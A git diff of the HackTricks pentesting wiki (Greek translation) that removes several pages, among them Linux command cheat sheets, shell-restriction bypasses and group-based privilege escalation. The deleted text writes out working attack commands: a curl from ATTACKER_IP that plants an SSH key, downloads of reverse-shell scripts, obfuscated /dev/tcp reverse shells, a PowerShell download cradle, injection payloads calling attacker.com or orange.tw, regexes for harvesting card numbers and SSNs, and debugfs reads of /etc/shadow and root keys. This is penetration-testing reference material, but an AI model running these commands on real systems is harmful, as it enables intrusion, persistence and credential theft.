### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -Αυτό είναι ένα δωρεάν εργαλείο από τη Microsoft που βοηθά στην εύρεση απειλών στη φάση σχεδίασης των έργων λογισμικού. Χρησιμοποιεί τη μεθοδολογία STRIDE και είναι ιδιαίτερα κατάλληλο για εκείνους που αναπτύσσουν στην πλατφόρμα της Microsoft. +Αυτό είναι ένα δωρεάν εργαλείο από τη Microsoft που βοηθά στην αναγνώριση απειλών στη φάση σχεδιασμού έργων λογισμικού. Χρησιμοποιεί τη μεθοδολογία STRIDE και είναι ιδιαίτερα κατάλληλο για εκείνους που αναπτύσσουν στην πλατφόρμα της Microsoft. + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/images/cyberhelmets-logo.png b/src/images/cyberhelmets-logo.png index c2c9a957b..f766e953a 100644 Binary files a/src/images/cyberhelmets-logo.png and b/src/images/cyberhelmets-logo.png differ diff --git a/src/interesting-http.md b/src/interesting-http.md deleted file mode 100644 index 31ae07301..000000000 --- a/src/interesting-http.md +++ /dev/null @@ -1,35 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# Referrer headers and policy - -Referrer είναι η κεφαλίδα που χρησιμοποιούν οι φυλλομετρητές για να υποδείξουν ποια ήταν η προηγούμενη σελίδα που επισκέφτηκε ο χρήστης. - -## Ευαίσθητες πληροφορίες που διαρρέουν - -Αν σε κάποιο σημείο μέσα σε μια ιστοσελίδα οποιαδήποτε ευαίσθητη πληροφορία βρίσκεται σε παραμέτρους GET αιτήματος, αν η σελίδα περιέχει συνδέσμους σε εξωτερικές πηγές ή αν ένας επιτιθέμενος είναι σε θέση να κάνει/προτείνει (κοινωνική μηχανική) στον χρήστη να επισκεφθεί μια διεύθυνση URL που ελέγχεται από τον επιτιθέμενο. Θα μπορούσε να είναι σε θέση να εξάγει τις ευαίσθητες πληροφορίες μέσα στο τελευταίο GET αίτημα. - -## Mitigation - -Μπορείτε να κάνετε τον φυλλομετρητή να ακολουθεί μια **Referrer-policy** που θα μπορούσε να **αποφύγει** την αποστολή ευαίσθητων πληροφοριών σε άλλες διαδικτυακές εφαρμογές: -``` -Referrer-Policy: no-referrer -Referrer-Policy: no-referrer-when-downgrade -Referrer-Policy: origin -Referrer-Policy: origin-when-cross-origin -Referrer-Policy: same-origin -Referrer-Policy: strict-origin -Referrer-Policy: strict-origin-when-cross-origin -Referrer-Policy: unsafe-url -``` -## Counter-Mitigation - -Μπορείτε να παρακάμψετε αυτόν τον κανόνα χρησιμοποιώντας μια ετικέτα HTML meta (ο επιτιθέμενος χρειάζεται να εκμεταλλευτεί και μια ένεση HTML): -```html - - -``` -## Άμυνα - -Ποτέ μην τοποθετείτε ευαίσθητα δεδομένα μέσα σε παραμέτρους GET ή διαδρομές στη διεύθυνση URL. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md deleted file mode 100644 index 90b6db896..000000000 --- a/src/linux-hardening/useful-linux-commands/README.md +++ /dev/null @@ -1,297 +0,0 @@ -# Χρήσιμες Εντολές Linux - - -{{#include ../../banners/hacktricks-training.md}} - -## Κοινές Bash -```bash -#Exfiltration using Base64 -base64 -w 0 file - -#Get HexDump without new lines -xxd -p boot12.bin | tr -d '\n' - -#Add public key to authorized keys -curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys - -#Echo without new line and Hex -echo -n -e - -#Count -wc -l #Lines -wc -c #Chars - -#Sort -sort -nr #Sort by number and then reverse -cat file | sort | uniq #Sort and delete duplicates - -#Replace in file -sed -i 's/OLD/NEW/g' path/file #Replace string inside a file - -#Download in RAM -wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py -wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm -curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py - -#Files used by network processes -lsof #Open files belonging to any process -lsof -p 3 #Open files used by the process -lsof -i #Files used by networks processes -lsof -i 4 #Files used by network IPv4 processes -lsof -i 6 #Files used by network IPv6 processes -lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 -lsof +D /lib #Processes using files inside the indicated dir -lsof -i :80 #Files uses by networks processes -fuser -nv tcp 80 - -#Decompress -tar -xvzf /path/to/yourfile.tgz -tar -xvjf /path/to/yourfile.tbz -bzip2 -d /path/to/yourfile.bz2 -tar jxf file.tar.bz2 -gunzip /path/to/yourfile.gz -unzip file.zip -7z -x file.7z -sudo apt-get install xz-utils; unxz file.xz - -#Add new user -useradd -p 'openssl passwd -1 ' hacker - -#Clipboard -xclip -sel c < cat file.txt - -#HTTP servers -python -m SimpleHTTPServer 80 -python3 -m http.server -ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" -php -S $ip:80 - -#Curl -#json data -curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint -#Auth via JWT -curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint - -#Send Email -sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content - -#DD copy hex bin file without first X (28) bytes -dd if=file.bin bs=28 skip=1 of=blob - -#Mount .vhd files (virtual hard drive) -sudo apt-get install libguestfs-tools -guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd - -# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys -ssh-keyscan 10.10.10.101 - -# Openssl -openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server -openssl x509 -in ca.cert.pem -text #Read certificate -openssl genrsa -out newuser.key 2048 #Create new RSA2048 key -openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) -openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate -openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate -openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) -# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: -openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 -# Decrypt ssh key -openssl rsa -in key.ssh.enc -out key.ssh -#Decrypt -openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz - -#Count number of instructions executed by a program, need a host based linux (not working in VM) -perf stat -x, -e instructions:u "ls" - -#Find trick for HTB, find files from 2018-12-12 to 2018-12-14 -find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null - -#Reconfigure timezone -sudo dpkg-reconfigure tzdata - -#Search from which package is a binary -apt-file search /usr/bin/file #Needed: apt-get install apt-file - -#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html -echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw - -#Set not removable bit -sudo chattr +i file.txt -sudo chattr -i file.txt #Remove the bit so you can delete it - -# List files inside zip -7z l file.zip -``` -## Bash για Windows -```bash -#Base64 for Windows -echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 - -#Exe compression -upx -9 nc.exe - -#Exe2bat -wine exe2bat.exe nc.exe nc.txt - -#Compile Windows python exploit to exe -pip install pyinstaller -wget -O exploit.py http://www.exploit-db.com/download/31853 -python pyinstaller.py --onefile exploit.py - -#Compile for windows -#sudo apt-get install gcc-mingw-w64-i686 -i686-mingw32msvc-gcc -o executable useradd.c -``` -## Greps -```bash -#Extract emails from file -grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt - -#Extract valid IP addresses -grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt - -#Extract passwords -grep -i "pwd\|passw" file.txt - -#Extract users -grep -i "user\|invalid\|authentication\|login" file.txt - -# Extract hashes -#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) -egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt -#Extract valid MySQL-Old hashes -grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt -#Extract blowfish hashes -grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt -#Extract Joomla hashes -egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt -#Extract VBulletin hashes -egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt -#Extraxt phpBB3-MD5 -egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt -#Extract Wordpress-MD5 -egrep -o '$P$S{31}' *.txt > wordpress-md5.txt -#Extract Drupal 7 -egrep -o '$S$S{52}' *.txt > drupal-7.txt -#Extract old Unix-md5 -egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt -#Extract md5-apr1 -egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt -#Extract sha512crypt, SHA512(Unix) -egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt - -#Extract e-mails from text files -grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt - -#Extract HTTP URLs from text files -grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt -#For extracting HTTPS, FTP and other URL format use -grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt -#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" - -#Extract Floating point numbers -grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt - -# Extract credit card data -#Visa -grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt -#MasterCard -grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt -#American Express -grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt -#Diners Club -grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt -#Discover -grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt -#JCB -grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt -#AMEX -grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt - -# Extract IDs -#Extract Social Security Number (SSN) -grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt -#Extract Indiana Driver License Number -grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt -#Extract US Passport Cards -grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt -#Extract US Passport Number -grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt -#Extract US Phone Numberss -grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt -#Extract ISBN Numbers -egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt -``` -## Βρείτε -```bash -# Find SUID set files. -find / -perm /u=s -ls 2>/dev/null - -# Find SGID set files. -find / -perm /g=s -ls 2>/dev/null - -# Found Readable directory and sort by time. (depth = 4) -find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Writable directory and sort by time. (depth = 10) -find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current User and sort by time. (depth = 10) -find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Or Found Own by Current Group ID and Sort by time. (depth = 10) -find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r - -# Found Newer files and sort by time. (depth = 5) -find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer files only and sort by time. (depth = 5) -find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less - -# Found Newer directory only and sort by time. (depth = 5) -find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less -``` -## Βοήθεια αναζήτησης Nmap -```bash -#Nmap scripts ((default or version) and smb)) -nmap --script-help "(default or version) and *smb*" -locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb -nmap --script-help "(default or version) and smb)" -``` -## Μπάσα -```bash -#All bytes inside a file (except 0x20 and 0x00) -for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done -``` -## Iptables -```bash -#Delete curent rules and chains -iptables --flush -iptables --delete-chain - -#allow loopback -iptables -A INPUT -i lo -j ACCEPT -iptables -A OUTPUT -o lo -j ACCEPT - -#drop ICMP -iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP -iptables -A OUTPUT -p icmp -j DROP - -#allow established connections -iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT - -#allow ssh, http, https, dns -iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT -iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT -iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT -iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT -iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT - -#default policies -iptables -P INPUT DROP -iptables -P FORWARD ACCEPT -iptables -P OUTPUT ACCEPT -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md deleted file mode 100644 index 5b2331db9..000000000 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ /dev/null @@ -1,319 +0,0 @@ -# Παράκαμψη Περιορισμών Linux - -{{#include ../../banners/hacktricks-training.md}} - -## Συνηθισμένες Παράκαμψεις Περιορισμών - -### Αντίστροφη Σκηνή -```bash -# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time -echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' -# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h -``` -### Σύντομο Rev shell -```bash -#Trick from Dikline -#Get a rev shell with -(sh)0>/dev/tcp/10.10.10.10/443 -#Then get the out of the rev shell executing inside of it: -exec >&0 -``` -### Παράκαμψη Διαδρομών και απαγορευμένων λέξεων -```bash -# Question mark binary substitution -/usr/bin/p?ng # /usr/bin/ping -nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost - -# Wildcard(*) binary substitution -/usr/bin/who*mi # /usr/bin/whoami - -# Wildcard + local directory arguments -touch -- -la # -- stops processing options after the -- -ls * -echo * #List current files and folders with echo and wildcard - -# [chars] -/usr/bin/n[c] # /usr/bin/nc - -# Quotes -'p'i'n'g # ping -"w"h"o"a"m"i # whoami -ech''o test # echo test -ech""o test # echo test -bas''e64 # base64 - -#Backslashes -\u\n\a\m\e \-\a # uname -a -/\b\i\n/////s\h - -# $@ -who$@ami #whoami - -# Transformations (case, reverse, base64) -$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case -$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash) -$(rev<<<'imaohw') #whoami -bash<<<$(base64 -d<< /tmp/[ -chmod +x [ -export PATH=/tmp:$PATH -if [ "a" ]; then echo 1; fi # Will print hello! -``` -### Πολυγλωσσική ένεση εντολών -```bash -1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} -/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ -``` -### Παράκαμψη πιθανών regexes -```bash -# A regex that only allow letters and numbers might be vulnerable to new line characters -1%0a`curl http://attacker.com` -``` -### Bashfuscator -```bash -# From https://github.com/Bashfuscator/Bashfuscator -./bashfuscator -c 'cat /etc/passwd' -``` -### RCE με 5 χαρακτήρες -```bash -# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge -#Oragnge Tsai solution -## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date -http://host/?cmd=>ls\ -http://host/?cmd=ls>_ -http://host/?cmd=>\ \ -http://host/?cmd=>-t\ -http://host/?cmd=>\>g -http://host/?cmd=ls>>_ - -## Step2: generate `curl orange.tw|python` to file "g" -## by creating the necesary filenames and writting that content to file "g" executing the previous generated file -http://host/?cmd=>on -http://host/?cmd=>th\ -http://host/?cmd=>py\ -http://host/?cmd=>\|\ -http://host/?cmd=>tw\ -http://host/?cmd=>e.\ -http://host/?cmd=>ng\ -http://host/?cmd=>ra\ -http://host/?cmd=>o\ -http://host/?cmd=>\ \ -http://host/?cmd=>rl\ -http://host/?cmd=>cu\ -http://host/?cmd=sh _ -# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file - -## Finally execute the file "g" -http://host/?cmd=sh g - - -# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*" -https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -## Execute tar command over a folder -http://52.199.204.34/?cmd=>tar -http://52.199.204.34/?cmd=>zcf -http://52.199.204.34/?cmd=>zzz -http://52.199.204.34/?cmd=*%20/h* - -# Another curiosity if you can read files of the current folder -ln /f* -## If there is a file /flag.txt that will create a hard link -## to it in the current folder -``` -### RCE με 4 χαρακτήρες -```bash -# In a similar fashion to the previous bypass this one just need 4 chars to execute commands -# it will follow the same principle of creating the command `ls -t>g` in a file -# and then generate the full command in filenames -# generate "g> ht- sl" to file "v" -'>dir' -'>sl' -'>g\>' -'>ht-' -'*>v' - -# reverse file "v" to file "x", content "ls -th >g" -'>rev' -'*v>x' - -# generate "curl orange.tw|python;" -'>\;\\' -'>on\\' -'>th\\' -'>py\\' -'>\|\\' -'>tw\\' -'>e.\\' -'>ng\\' -'>ra\\' -'>o\\' -'>\ \\' -'>rl\\' -'>cu\\' - -# got shell -'sh x' -'sh g' -``` -## Παράκαμψη Read-Only/Noexec/Distroless - -Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις **προστασίες read-only και noexec** ή ακόμα και σε ένα distroless container, υπάρχουν ακόμα τρόποι να **εκτελέσετε αυθαίρετους δυαδικούς κωδικούς, ακόμα και ένα shell!:** - -{{#ref}} -../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ -{{#endref}} - -## Παράκαμψη Chroot & άλλων Jails - -{{#ref}} -../privilege-escalation/escaping-from-limited-bash.md -{{#endref}} - -## Αναφορές & Περισσότερα - -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) -- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) -- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md deleted file mode 100644 index 713b601ea..000000000 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ /dev/null @@ -1,23 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -Περαιτέρω παραδείγματα γύρω από το yum μπορούν επίσης να βρεθούν στο [gtfobins](https://gtfobins.github.io/gtfobins/yum/). - -# Εκτέλεση αυθαίρετων εντολών μέσω RPM Πακέτων - -## Έλεγχος του Περιβάλλοντος - -Για να εκμεταλλευτεί αυτό το vector, ο χρήστης πρέπει να είναι σε θέση να εκτελεί εντολές yum ως χρήστης με υψηλότερα προνόμια, δηλαδή root. - -### Ένα λειτουργικό παράδειγμα αυτού του vector - -Ένα λειτουργικό παράδειγμα αυτής της εκμετάλλευσης μπορεί να βρεθεί στο δωμάτιο [daily bugle](https://tryhackme.com/room/dailybugle) στο [tryhackme](https://tryhackme.com). - -## Συσκευασία ενός RPM - -Στην επόμενη ενότητα, θα καλύψω τη συσκευασία ενός reverse shell σε ένα RPM χρησιμοποιώντας [fpm](https://github.com/jordansissel/fpm). - -Το παρακάτω παράδειγμα δημιουργεί ένα πακέτο που περιλαμβάνει έναν trigger πριν την εγκατάσταση με ένα αυθαίρετο script που μπορεί να καθοριστεί από τον επιτιθέμενο. Όταν εγκατασταθεί, αυτό το πακέτο θα εκτελέσει την αυθαίρετη εντολή. Έχω χρησιμοποιήσει ένα απλό παράδειγμα reverse netcat shell για επίδειξη, αλλά αυτό μπορεί να αλλάξει όπως απαιτείται. -```text - -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md deleted file mode 100644 index 89f4030ba..000000000 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ /dev/null @@ -1,140 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Sudo/Διαχειριστικές Ομάδες - -## **PE - Μέθοδος 1** - -**Μερικές φορές**, **κατά προεπιλογή \(ή επειδή κάποια λογισμικά το χρειάζονται\)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές: -```bash -# Allow members of group sudo to execute any command -%sudo ALL=(ALL:ALL) ALL - -# Allow members of group admin to execute any command -%admin ALL=(ALL:ALL) ALL -``` -Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα sudo ή admin μπορεί να εκτελέσει οτιδήποτε ως sudo**. - -Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**: -```text -sudo su -``` -## PE - Μέθοδος 2 - -Βρείτε όλα τα suid δυαδικά και ελέγξτε αν υπάρχει το δυαδικό **Pkexec**: -```bash -find / -perm -4000 2>/dev/null -``` -Αν διαπιστώσετε ότι το δυαδικό αρχείο pkexec είναι SUID δυαδικό και ανήκετε σε sudo ή admin, πιθανόν να μπορείτε να εκτελέσετε δυαδικά αρχεία ως sudo χρησιμοποιώντας το pkexec. Ελέγξτε τα περιεχόμενα του: -```bash -cat /etc/polkit-1/localauthority.conf.d/* -``` -Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένα linux μπορεί **να εμφανιστούν** κάποιες από τις ομάδες **sudo ή admin**. - -Για **να γίνετε root μπορείτε να εκτελέσετε**: -```bash -pkexec "/bin/sh" #You will be prompted for your user password -``` -Αν προσπαθήσετε να εκτελέσετε **pkexec** και λάβετε αυτό το **σφάλμα**: -```bash -polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie -==== AUTHENTICATION FAILED === -Error executing command as another user: Not authorized -``` -**Δεν είναι επειδή δεν έχετε δικαιώματα αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το ζήτημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**: -```bash:session1 -echo $$ #Step1: Get current PID -pkexec "/bin/bash" #Step 3, execute pkexec -#Step 5, if correctly authenticate, you will have a root session -``` - -```bash:session2 -pkttyagent --process #Step 2, attach pkttyagent to session1 -#Step 4, you will be asked in this session to authenticate to pkexec -``` -# Wheel Group - -**Μερικές φορές**, **κατά προεπιλογή** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε αυτή τη γραμμή: -```text -%wheel ALL=(ALL:ALL) ALL -``` -Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα wheel μπορεί να εκτελεί οτιδήποτε ως sudo**. - -Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**: -```text -sudo su -``` -# Shadow Group - -Χρήστες από την **ομάδα shadow** μπορούν να **διαβάσουν** το **/etc/shadow** αρχείο: -```text --rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -``` -Έτσι, διαβάστε το αρχείο και προσπαθήστε να **σπάσετε μερικούς κατακερματισμούς**. - -# Ομάδα Δίσκου - -Αυτή η προνομία είναι σχεδόν **ισοδύναμη με την πρόσβαση root** καθώς μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα μέσα στη μηχανή. - -Αρχεία: `/dev/sd[a-z][1-9]` -```text -debugfs /dev/sda1 -debugfs: cd /root -debugfs: ls -debugfs: cat /root/.ssh/id_rsa -debugfs: cat /etc/shadow -``` -Σημειώστε ότι χρησιμοποιώντας το debugfs μπορείτε επίσης να **γράφετε αρχεία**. Για παράδειγμα, για να αντιγράψετε το `/tmp/asd1.txt` στο `/tmp/asd2.txt` μπορείτε να κάνετε: -```bash -debugfs -w /dev/sda1 -debugfs: dump /tmp/asd1.txt /tmp/asd2.txt -``` -Ωστόσο, αν προσπαθήσετε να **γράψετε αρχεία που ανήκουν στον root** \(όπως το `/etc/shadow` ή το `/etc/passwd`\) θα λάβετε ένα σφάλμα "**Permission denied**". - -# Video Group - -Χρησιμοποιώντας την εντολή `w` μπορείτε να βρείτε **ποιος είναι συνδεδεμένος στο σύστημα** και θα εμφανίσει μια έξοδο όπως η παρακάτω: -```bash -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -yossi tty1 22:16 5:13m 0.05s 0.04s -bash -moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash -``` -Το **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή. - -Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size` -```bash -cat /dev/fb0 > /tmp/screen.raw -cat /sys/class/graphics/fb0/virtual_size -``` -Για να **ανοίξετε** την **ακατέργαστη εικόνα** 